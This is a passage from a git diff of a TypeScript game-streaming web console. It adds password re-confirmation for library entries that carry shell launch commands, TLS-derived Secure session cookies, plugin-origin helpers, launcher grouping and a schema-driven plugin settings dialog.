+ return { ok: false, error: `plugin "${id}" is not running` }; + } + try { + // The plugin's UI server is loopback-only and plain HTTP, exactly as the proxy dials it. + const resp = await fetch(`http://127.0.0.1:${cred.port}/__health`, { + headers: { authorization: `Bearer ${cred.secret}` }, + redirect: "manual", + }); + if (!resp.ok) { + setResponseStatus(event, 502); + return { ok: false, error: `health ${resp.status}` }; + } + return { ok: true }; + } catch { + // Port died between the credential lookup and the probe (plugin restarting). + setResponseStatus(event, 502); + return { ok: false, error: `plugin "${id}" is not reachable` }; + } +}); diff --git a/web/server/routes/api/v1/library/custom.post.ts b/web/server/routes/api/v1/library/custom.post.ts new file mode 100644 index 00000000..50fb4fc7 --- /dev/null +++ b/web/server/routes/api/v1/library/custom.post.ts @@ -0,0 +1,18 @@ +// POST /api/v1/library/custom — creating a custom entry can install a command the host later runs +// as the host user (`prep`, or a `command` launch), so it joins hooks/update-apply/raw-install +// behind the console password when — and only when — the payload carries one of those fields. +// See util/libraryConfirm.ts for the reasoning; 2026-08-05 review M-6. +// +// Wins over the `/api/**` catch-all by h3 route specificity. +import { defineEventHandler, readBody } from "h3"; +import { forwardJson } from "../../../../util/forward"; +import { confirmIfCommandExecution } from "../../../../util/libraryConfirm"; + +export default defineEventHandler(async (event) => { + const body = await readBody>(event); + confirmIfCommandExecution(event, body, body?.password); + // Strip the confirmation before forwarding — the host has no such field and it must not leak + // upstream or into `library.json`. + const { password: _password, ...entry } = body ?? {}; + return forwardJson(event, "/api/v1/library/custom", "POST", entry); +}); diff --git a/web/server/routes/api/v1/library/custom/[id].put.ts b/web/server/routes/api/v1/library/custom/[id].put.ts new file mode 100644 index 00000000..fdbf657c --- /dev/null +++ b/web/server/routes/api/v1/library/custom/[id].put.ts @@ -0,0 +1,19 @@ +// PUT /api/v1/library/custom/{id} — same primitive and same gate as the create route: an UPDATE +// can install `prep` / a `command` launch just as well as a create can, and a gate that only +// covered create would be one PUT away from pointless. See util/libraryConfirm.ts; review M-6. +import { defineEventHandler, getRouterParam, readBody } from "h3"; +import { forwardJson } from "../../../../../util/forward"; +import { confirmIfCommandExecution } from "../../../../../util/libraryConfirm"; + +export default defineEventHandler(async (event) => { + const id = getRouterParam(event, "id") ?? ""; + const body = await readBody>(event); + confirmIfCommandExecution(event, body, body?.password); + const { password: _password, ...entry } = body ?? {}; + return forwardJson( + event, + `/api/v1/library/custom/${encodeURIComponent(id)}`, + "PUT", + entry, + ); +}); diff --git a/web/server/util/auth.ts b/web/server/util/auth.ts index 3d9aedca..5257eef4 100644 --- a/web/server/util/auth.ts +++ b/web/server/util/auth.ts @@ -174,9 +174,20 @@ export function sessionConfig(): SessionConfig { sameSite: "lax", path: "/", // h3 defaults Secure to true, which browsers DROP over plain http:// (so login - // silently fails on a LAN HTTP server). Only mark Secure when actually behind TLS - // (set PUNKTFUNK_UI_SECURE=1 / =true then). - secure: /^(1|true)$/i.test(process.env.PUNKTFUNK_UI_SECURE ?? ""), + // silently fails on a LAN HTTP server). Only mark Secure when actually behind TLS. + // + // Derived from whether TLS is CONFIGURED, not from `PUNKTFUNK_UI_SECURE` alone + // (2026-08-05 review L-20). The entry point already refuses the inverse mistake — + // `PUNKTFUNK_UI_SECURE` without TLS exits rather than serving a console whose cookie + // the browser will never store — but nothing caught this direction: TLS configured and + // the flag forgotten shipped a session cookie without `Secure`, which a browser will + // then also send over a plain-http downgrade. The env var still forces it on for a + // deploy terminating TLS in front of us (a reverse proxy), where this process sees no + // cert of its own. + secure: + (!!process.env.PUNKTFUNK_UI_TLS_CERT && + !!process.env.PUNKTFUNK_UI_TLS_KEY) || + /^(1|true)$/i.test(process.env.PUNKTFUNK_UI_SECURE ?? ""), }, }; } diff --git a/web/server/util/libraryConfirm.ts b/web/server/util/libraryConfirm.ts new file mode 100644 index 00000000..274c71c8 --- /dev/null +++ b/web/server/util/libraryConfirm.ts @@ -0,0 +1,47 @@ +// Shared password gate for the library writes that carry the SAME primitive `hooks.put.ts` gates. +// +// A custom library entry can carry `prep` (commands run before the title launches) and a +// `launch.kind === "command"` (a shell command run at launch). Both are executed verbatim as the +// host user — `/bin/sh -c` on Linux, `cmd.exe /c` on Windows — which is the very thing the hooks +// gate exists to stop a bare session cookie from doing: *"a 7-day session cookie must not be enough +// to leave a persistent command behind on the machine."* +// +// `confirm.ts` gated three routes and these were not among them, so the identical primitive fell +// through the ungated `/api/**` catch-all where the BFF attaches the admin bearer unconditionally +// (2026-08-05 review M-6). Anyone with a session cookie but not the password — a borrowed browser, +// an exfiltrated cookie, a stale 7-day session after a password rotation — could leave a command +// behind. `SameSite=lax` blocks a plain cross-site POST, so this is cookie possession rather than +// drive-by CSRF, but the invariant is the same one. +// +// The gate is CONDITIONAL on the payload actually carrying one of those fields. An ordinary library +// edit — title, artwork, platform, a `steam_appid` launch — is not code execution and prompting for +// it would only train the operator to type their password without reading it. Same reasoning as +// "a catalog install from an already-trusted source is deliberately NOT gated" in `confirm.ts`. +import type { H3Event } from "h3"; +import { confirmPassword } from "./confirm"; + +/** The shape the gate inspects; everything else about the entry is none of its business. */ +interface EntryLike { + prep?: unknown; + launch?: { kind?: unknown } | null; +} + +/** Does this entry carry a field the host will hand to a shell? */ +export function carriesCommandExecution(entry: EntryLike | null | undefined): boolean { + if (!entry || typeof entry !== "object") return false; + if (Array.isArray(entry.prep) && entry.prep.length > 0) return true; + return entry.launch?.kind === "command"; +} + +/** + * Re-verify the console password iff `entries` contains a command-execution field. Throws the same + * 401/429/503 `confirmPassword` does; returns normally when the gate does not apply. + */ +export function confirmIfCommandExecution( + event: H3Event, + entries: EntryLike | EntryLike[] | null | undefined, + password: unknown, +): void { + const list = Array.isArray(entries) ? entries : [entries]; + if (list.some(carriesCommandExecution)) confirmPassword(event, password); +} diff --git a/web/server/util/pluginOrigin.ts b/web/server/util/pluginOrigin.ts new file mode 100644 index 00000000..5f0e4b02 --- /dev/null +++ b/web/server/util/pluginOrigin.ts @@ -0,0 +1,51 @@ +// Which listener a request arrived on, and where plugin UIs live. +// +// Plugin UIs are served from a DIFFERENT ORIGIN than the console (a second listener on its own +// port — see nitro-entry/bun-https.mjs for why). Two things need to know about that split: the +// gate, which enforces that neither origin serves the other's paths, and the console UI, which has +// to build the iframe URL against the right origin. +import type { H3Event } from "h3"; +import { getRequestHeader } from "h3"; + +/** Set by the server entry on every request; any inbound copy is stripped first. */ +const LISTENER_HEADER = "x-pf-listener"; + +export type Listener = "console" | "plugin"; + +/** + * Which listener served this request. Absent ⇒ `console`, which is the safe default: it is what + * `vite dev` looks like (one listener, and its own middleware intercepts `/plugin-ui` before Nitro + * ever sees it), and treating an unknown lane as the console means the plugin-path refusal below + * applies rather than the console-path one — deny the escalation, not the ordinary console. + */ +export function listenerOf(event: H3Event): Listener { + return getRequestHeader(event, LISTENER_HEADER) === "plugin" + ? "plugin" + : "console"; +} + +/** Paths the plugin origin serves. Everything else on that origin is refused. */ +export function isPluginUiPath(pathname: string): boolean { + return pathname === "/plugin-ui" || pathname.startsWith("/plugin-ui/"); +} + +/** + * The port the plugin-UI origin is listening on, or `null` when there is none — either the bind + * failed (production: plugin UIs are disabled, deliberately, rather than falling back to the + * console origin) or this is `vite dev`, which serves everything from one port. + * + * Read from the value the entry SETS after a successful bind, never from the configured-but-unbound + * one, so this can never advertise a port nothing is listening on. + */ +export function pluginOriginPort(): number | null { + const raw = process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE; + const port = raw ? Number(raw) : Number.NaN; + return Number.isInteger(port) && port > 0 ? port : null; +} + +/** The console's own port, for the plugin origin's `frame-ancestors`. */ +export function consoleOriginPort(): number | null { + const raw = process.env.PUNKTFUNK_UI_CONSOLE_PORT_ACTIVE; + const port = raw ? Number(raw) : Number.NaN; + return Number.isInteger(port) && port > 0 ? port : null; +} diff --git a/web/src/api/plugins.ts b/web/src/api/plugins.ts index 017ad062..2c113b9b 100644 --- a/web/src/api/plugins.ts +++ b/web/src/api/plugins.ts @@ -29,8 +29,18 @@ export interface PluginSummary { version?: string; /** Present iff the plugin serves a UI (and thus gets a nav entry). */ ui?: PluginUiSummary; + /** + * What kind of plugin this is. The console knows one value — `"library"` — and keeps those OUT + * of the nav: a scanner's entry point is the Library section's Game sources surface, and six + * installed scanners would otherwise flood the sidebar (design D5). Absent on an older host, and + * absent by choice for a plugin that wants its own page anyway (rom-manager). + */ + category?: string; } +/** The one category the console treats specially. */ +export const LIBRARY_CATEGORY = "library"; + // A curated lucide set for plugin nav icons. Importing lucide's full dynamic icon map would defeat // tree-shaking (U-S4), so a plugin picks a name from here; anything unknown falls back to Puzzle. const ICONS: Record = { @@ -97,6 +107,18 @@ export function usePlugins() { }); } -/** Only the plugins that surface a UI — the ones that get a nav entry. */ +/** + * The plugins that get a **nav entry**: those serving a UI, minus the library-category ones. + * + * A library plugin still serves a UI port (that is how `__config` is reached) and its + * `/plugins/$pluginId/$` route still resolves, so an existing deep link keeps working — it simply + * isn't advertised in the sidebar. + */ export const uiPlugins = (list: PluginSummary[] | undefined): PluginSummary[] => - (list ?? []).filter((p) => p.ui); + (list ?? []).filter((p) => p.ui && p.category !== LIBRARY_CATEGORY); + +/** The installed library-category plugins — the Game sources surface's own list. */ +export const libraryPlugins = ( + list: PluginSummary[] | undefined, +): PluginSummary[] => + (list ?? []).filter((p) => p.category === LIBRARY_CATEGORY); diff --git a/web/src/api/store.ts b/web/src/api/store.ts index e4a34fb4..77de452a 100644 --- a/web/src/api/store.ts +++ b/web/src/api/store.ts @@ -69,6 +69,17 @@ export interface StoreEntry { installed_version?: string; update_available: boolean; blocked?: string; + /** + * What kind of plugin this is. Browse filters on these, and the Library section's "Add a source" + * rail shows exactly the `library` ones (design D5/D6). Absent on an index that predates them. + */ + categories?: string[]; + /** + * Whether the launcher this plugin scans looks installed on this host, from the index's own + * existence probes (design D8). `undefined` = the entry declares no probes for this platform, + * which is "unknown" and must render differently from "not installed". + */ + detected?: boolean; } export interface StoreCatalog { diff --git a/web/src/api/uiConfig.ts b/web/src/api/uiConfig.ts new file mode 100644 index 00000000..708edc44 --- /dev/null +++ b/web/src/api/uiConfig.ts @@ -0,0 +1,49 @@ +// Where plugin UIs live, from the server that knows. +// +// Plugin UIs are served from a DIFFERENT ORIGIN than the console (2026-08-05 review H-3): same +// scheme and host, its own port. The console has to build iframe and new-tab URLs against that +// origin, and the port has to come from the server — only it knows whether the listener bound. +import { useQuery } from "@tanstack/react-query"; + +export interface UiConfig { + pluginUi: "origin" | "same-origin" | "unavailable"; + pluginPort: number | null; +} + +/** + * Deployment facts the console cannot infer. Cached for the session — the ports cannot change + * without the server restarting, which reloads the page anyway. + */ +export const useUiConfig = () => + useQuery({ + queryKey: ["ui-config"], + queryFn: async (): Promise => { + const r = await fetch("/_auth/ui-config", { + credentials: "same-origin", + }); + if (!r.ok) throw new Error(`ui-config ${r.status}`); + return (await r.json()) as UiConfig; + }, + staleTime: Number.POSITIVE_INFINITY, + retry: 2, + }); + +/** + * The origin serving plugin UIs, or `null` when there is none and the console must say so rather + * than render a frame. + * + * Built from the CURRENT location's scheme and hostname, so it follows whatever address the + * operator actually browsed to — an IP, an mDNS name, a hostname — and only the port differs. That + * matters for more than cosmetics: it keeps the origin same-SITE with the console, which is what + * lets the `SameSite=Lax` session cookie reach the plugin listener at all. + */ +export function pluginOriginFrom( + config: UiConfig | undefined, +): string | null | undefined { + if (!config) return undefined; // still loading — render neither frame nor error + if (config.pluginUi === "same-origin") return ""; // vite dev: relative URLs, one origin + if (config.pluginUi === "origin" && config.pluginPort) { + return `${window.location.protocol}//${window.location.hostname}:${config.pluginPort}`; + } + return null; // unavailable — the listener did not bind +} diff --git a/web/src/sections/Library/GameForm.tsx b/web/src/sections/Library/GameForm.tsx index 3ef460b5..79447e50 100644 --- a/web/src/sections/Library/GameForm.tsx +++ b/web/src/sections/Library/GameForm.tsx @@ -23,6 +23,14 @@ interface FormState { header: string; logo: string; command: string; + /** Console-password re-confirmation, required only when `command` is set — see the field's + * own comment at the render site (2026-08-05 review M-6). Never round-tripped from the + * server, so it is always empty on open, including when editing an entry that has one. */ + password: string; + /** `true` = this entry opens a launcher rather than a game (design D4). Purely presentational: + * the console groups launcher entries into their own rail, and clients that don't know the + * field render them as ordinary tiles. */ + isLauncher: boolean; // Details — the flattened GameMeta fields; numbers and lists are kept as the raw // text the user typed and only parsed on submit. platform: string; @@ -43,6 +51,8 @@ const emptyForm: FormState = { header: "", logo: "", command: "", + password: "", + isLauncher: false, platform: "", description: "", developer: "", @@ -62,6 +72,10 @@ function formFrom(entry: GameEntry): FormState { header: entry.art.header ?? "", logo: entry.art.logo ?? "", command: entry.launch?.kind === "command" ? entry.launch.value : "", + password: "", + // Round-tripped like every other field: `update_custom` REPLACES the whole entry, so an + // unread field here would silently demote a launcher entry back to a game on any edit. + isLauncher: entry.role === "launcher", platform: entry.platform ?? "", description: entry.description ?? "", developer: entry.developer ?? "", @@ -104,6 +118,11 @@ function toInput(f: FormState): CustomInput { logo: trim(f.logo), }, launch: command ? { kind: "command", value: command } : null, + // The BFF re-verifies this and strips it before forwarding; the host never sees the field. + // Only sent when there is a command to authorize, matching the conditional gate. + ...(command ? { password: f.password } : {}), + // Omitted when it is the default, matching the host's skip-when-`game` serialization. + ...(f.isLauncher ? { role: "launcher" as const } : {}), platform: trim(f.platform), description: trim(f.description), developer: trim(f.developer), @@ -208,6 +227,8 @@ export const GameForm: FC<{ e.preventDefault(); const data = toInput(form); if (!data.title) return; + // A command is code the host will run on its own; the password field is required with it. + if (form.command.trim() && !form.password) return; onSubmit(data); }; @@ -270,6 +291,42 @@ export const GameForm: FC<{ onChange={set("command")} help={m.library_field_command_help()} /> + {/* A launch command is a shell command the host runs as the host user, so saving + one clears the same bar as a hook or an unreviewed install: the console + password, not just a 7-day session cookie (2026-08-05 review M-6). Shown only + when there is a command to authorize — gating an ordinary title/art edit + would just train the operator to type it without reading. */} + {form.command.trim() && ( + + )} + {/* Design D4: a launcher entry opens the launcher itself rather than a title. It + launches and leases like any other entry — this only moves it into the + console's Launchers rail. Hand-adding one is the supported way to get a + "Heroic" or "Lutris" tile without installing that source's plugin. */} +
+
+ + setForm((f) => ({ ...f, isLauncher: e.target.checked })) + } + /> + +
+

+ {m.library_field_role_help()} +

+
{m.library_details_legend()}

= ({ library, onEdit, onDelete, deletingId }) => { - const games = library.data ?? []; + const all = library.data ?? []; + // Launcher entries (design D4) open the launcher itself — Steam Big Picture, Heroic — rather than + // a title. They launch and lease exactly like games; grouping them into their own rail is purely + // so a shelf of 400 games doesn't bury the two or three ways to open a launcher. + const launchers = all.filter((g) => g.role === "launcher"); + const games = all.filter((g) => g.role !== "launcher"); + const card = (game: GameEntry) => ( + onEdit(game)} + onDelete={() => onDelete(game)} + deleting={deletingId === customId(game)} + /> + ); return ( - {games.length === 0 ? ( + {launchers.length > 0 && ( +

+

+ {m.library_launchers_title()} +

+ + {launchers.map(card)} + +
+ )} + {all.length === 0 ? ( {/* `flush`, not a bare `p-8`: the default `sm:pt-0` would survive the override (tailwind-merge only resolves conflicts within a variant) and eat the top @@ -98,27 +126,25 @@ export const LibraryGrid: FC<{ flush className="p-8 text-center text-sm text-muted-foreground" > - {m.library_empty()} + {/* After extraction a fresh host has NO scanners at all, so "no games" is the + expected first-run state rather than a fault. Point at the fix (design D9) + instead of leaving a bare empty grid. */} +

{m.library_empty()}

+

{m.library_empty_add_source()}

) : ( -
- - {games.map((game) => ( - onEdit(game)} - onDelete={() => onDelete(game)} - deleting={deletingId === customId(game)} - /> - ))} - -
+ games.length > 0 && ( +
+ + {games.map(card)} + +
+ ) )} ); diff --git a/web/src/sections/Library/Providers.tsx b/web/src/sections/Library/Providers.tsx deleted file mode 100644 index b00b6c05..00000000 --- a/web/src/sections/Library/Providers.tsx +++ /dev/null @@ -1,104 +0,0 @@ -import { useQueryClient } from "@tanstack/react-query"; -import { toast } from "@unom/ui/toast"; -import { Trash2 } from "lucide-react"; -import type { FC } from "react"; -import { - getGetLibraryQueryKey, - useDeleteProviderEntries, -} from "@/api/gen/library/library"; -import type { GameEntry } from "@/api/gen/model/gameEntry"; -import { Badge } from "@/components/ui/badge"; -import { Button } from "@/components/ui/button"; -import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; -import { apiErrorMessage } from "@/lib/errors"; -import { m } from "@/paraglide/messages"; - -/** - * Provider-owned entries: who put them there, and how to get rid of them. - * - * A plugin can sync entries into the library (RFC §8) and they are then refused to hand-edit or - * delete individually — the host answers 409 and points at the provider's own reconcile. Which is - * correct, and completely opaque if the plugin is gone: uninstalling it leaves its games in the - * library with no console-side way to remove them. `DELETE /library/provider/{provider}` is the - * documented clean-uninstall path and nothing called it. - * - * Renders nothing when no entry carries a provider, so an ordinary library sees no extra chrome. - */ -export const ProvidersCard: FC<{ - entries: GameEntry[]; - /** The provider currently filtered to, or null for "everything". */ - active: string | null; - onFilter: (provider: string | null) => void; -}> = ({ entries, active, onFilter }) => { - const qc = useQueryClient(); - const purge = useDeleteProviderEntries(); - - // Count per provider, in first-seen order — the list is small and operator-facing. - const counts = new Map(); - for (const e of entries) { - if (e.provider) counts.set(e.provider, (counts.get(e.provider) ?? 0) + 1); - } - if (counts.size === 0) return null; - - const onPurge = async (provider: string, count: number) => { - if (!confirm(m.library_provider_purge_confirm({ provider, count }))) return; - try { - await purge.mutateAsync({ provider }); - // The host emits `library.changed`, but don't wait for the round trip to redraw. - qc.invalidateQueries({ queryKey: getGetLibraryQueryKey() }); - if (active === provider) onFilter(null); - toast.success(m.library_provider_purged({ provider })); - } catch (e) { - toast.error(apiErrorMessage(e) ?? m.library_provider_purge_failed()); - } - }; - - return ( - - - {m.library_providers_title()} - - -

- {m.library_providers_help()} -

-
- {[...counts.entries()].map(([provider, count]) => ( -
- {provider} - - {m.library_provider_count({ count })} - -
- - -
-
- ))} -
-
-
- ); -}; diff --git a/web/src/sections/Library/SourceSettings.tsx b/web/src/sections/Library/SourceSettings.tsx new file mode 100644 index 00000000..2ff5dd7a --- /dev/null +++ b/web/src/sections/Library/SourceSettings.tsx @@ -0,0 +1,345 @@ +import { toast } from "@unom/ui/toast"; +import { type FC, useEffect, useState } from "react"; +import type { ScannerInfo } from "@/api/gen/model/scannerInfo"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogHeader, + DialogTitle, +} from "@/components/ui/dialog"; +import { Input } from "@/components/ui/input"; +import { Label } from "@/components/ui/label"; +import { Spinner } from "@/components/ui/spinner"; +import { m } from "@/paraglide/messages"; + +/** + * A library source's settings, rendered as a **generic form** from the plugin's own JSON Schema. + * + * The point (design D7, closing G8): a scanner plugin ships no SPA at all. It serves + * `GET/PUT /__config` from the kit, and the console renders whatever schema comes back. Everything + * goes through the existing session-gated `/plugin-ui//…` proxy, so there is **zero new host + * surface** — the browser never learns the plugin's port or secret. + * + * Fields the derivation can't express fall back to a raw JSON editor. That fallback is what bounds + * the risk of the whole approach: worst case the drawer is a validated textarea, and the PUT still + * validates by decode host-side either way. + */ +export const SourceSettingsDialog: FC<{ + source: ScannerInfo; + onClose: () => void; +}> = ({ source, onClose }) => { + const pluginId = source.provider ?? source.id; + const [state, setState] = useState< + | { tag: "loading" } + | { tag: "error"; message: string } + | { tag: "ready"; schema: JsonSchemaDoc | null; value: JsonObject } + >({ tag: "loading" }); + const [raw, setRaw] = useState(""); + const [saving, setSaving] = useState(false); + + useEffect(() => { + let cancelled = false; + (async () => { + try { + const res = await fetch(`/plugin-ui/${pluginId}/__config`, { + credentials: "same-origin", + }); + if (!res.ok) throw new Error(`HTTP ${res.status}`); + const body = (await res.json()) as { + schema: JsonSchemaDoc | null; + value: JsonObject | null; + }; + if (cancelled) return; + const value = body.value ?? {}; + setState({ tag: "ready", schema: body.schema, value }); + setRaw(JSON.stringify(value, null, 2)); + } catch (e) { + if (!cancelled) { + setState({ tag: "error", message: String(e) }); + } + } + })(); + return () => { + cancelled = true; + }; + }, [pluginId]); + + const save = async (value: JsonObject) => { + setSaving(true); + try { + const res = await fetch(`/plugin-ui/${pluginId}/__config`, { + method: "PUT", + credentials: "same-origin", + headers: { "content-type": "application/json" }, + body: JSON.stringify(value), + }); + if (!res.ok) { + const body = (await res.json().catch(() => null)) as { + issue?: string; + } | null; + throw new Error(body?.issue ?? `HTTP ${res.status}`); + } + toast.success(m.library_source_settings_saved()); + onClose(); + } catch (e) { + toast.error(m.library_source_settings_failed({ issue: String(e) })); + } finally { + setSaving(false); + } + }; + + return ( + !open && onClose()}> + + + + {m.library_source_settings_title({ source: source.label })} + + + {state.tag === "loading" && } + {state.tag === "error" && ( +

+ {m.library_source_settings_unreachable({ issue: state.message })} +

+ )} + {state.tag === "ready" && ( + + )} +
+
+ ); +}; + +type JsonObject = Record; + +interface JsonSchemaNode { + type?: string; + title?: string; + description?: string; + default?: unknown; + enum?: string[]; + properties?: Record; + items?: JsonSchemaNode; + allOf?: JsonSchemaNode[]; +} + +interface JsonSchemaDoc { + schema?: JsonSchemaNode; +} + +/** + * Flatten a node's `allOf` branches into it. A *checked* schema (effect's `Schema.Int`, or anything + * with `.check(...)`) nests its annotations and constraints there rather than at the top level, so + * a form that only reads the top level silently loses every title and default on those fields. + */ +const flatten = (node: JsonSchemaNode): JsonSchemaNode => + (node.allOf ?? []).reduce( + (acc, branch) => ({ ...acc, ...branch }), + { ...node }, + ); + +/** Can this field be rendered as a real input? Anything else sends the whole form to the editor. */ +const renderable = (node: JsonSchemaNode): boolean => { + const n = flatten(node); + if (n.enum) return true; + if (n.type === "boolean" || n.type === "string") return true; + if (n.type === "number" || n.type === "integer") return true; + if (n.type === "array" && flatten(n.items ?? {}).type === "string") return true; + if (n.type === "object" && n.properties) { + return Object.values(n.properties).every(renderable); + } + return false; +}; + +const ConfigForm: FC<{ + schema: JsonSchemaDoc | null; + value: JsonObject; + raw: string; + onRaw: (v: string) => void; + saving: boolean; + onSave: (value: JsonObject) => void; +}> = ({ schema, value, raw, onRaw, saving, onSave }) => { + const [draft, setDraft] = useState(value); + const root = schema?.schema ? flatten(schema.schema) : undefined; + const props = root?.properties; + // Fall back to the JSON editor when there is no schema, or any field is a shape the generic + // form can't express (a non-enum union, a $ref). Partial rendering would be worse than none: + // a field silently missing from the form is a setting the operator cannot change. + const canRender = props !== undefined && Object.values(props).every(renderable); + + if (!canRender) { + return ( +
+

+ {m.library_source_settings_json_hint()} +

+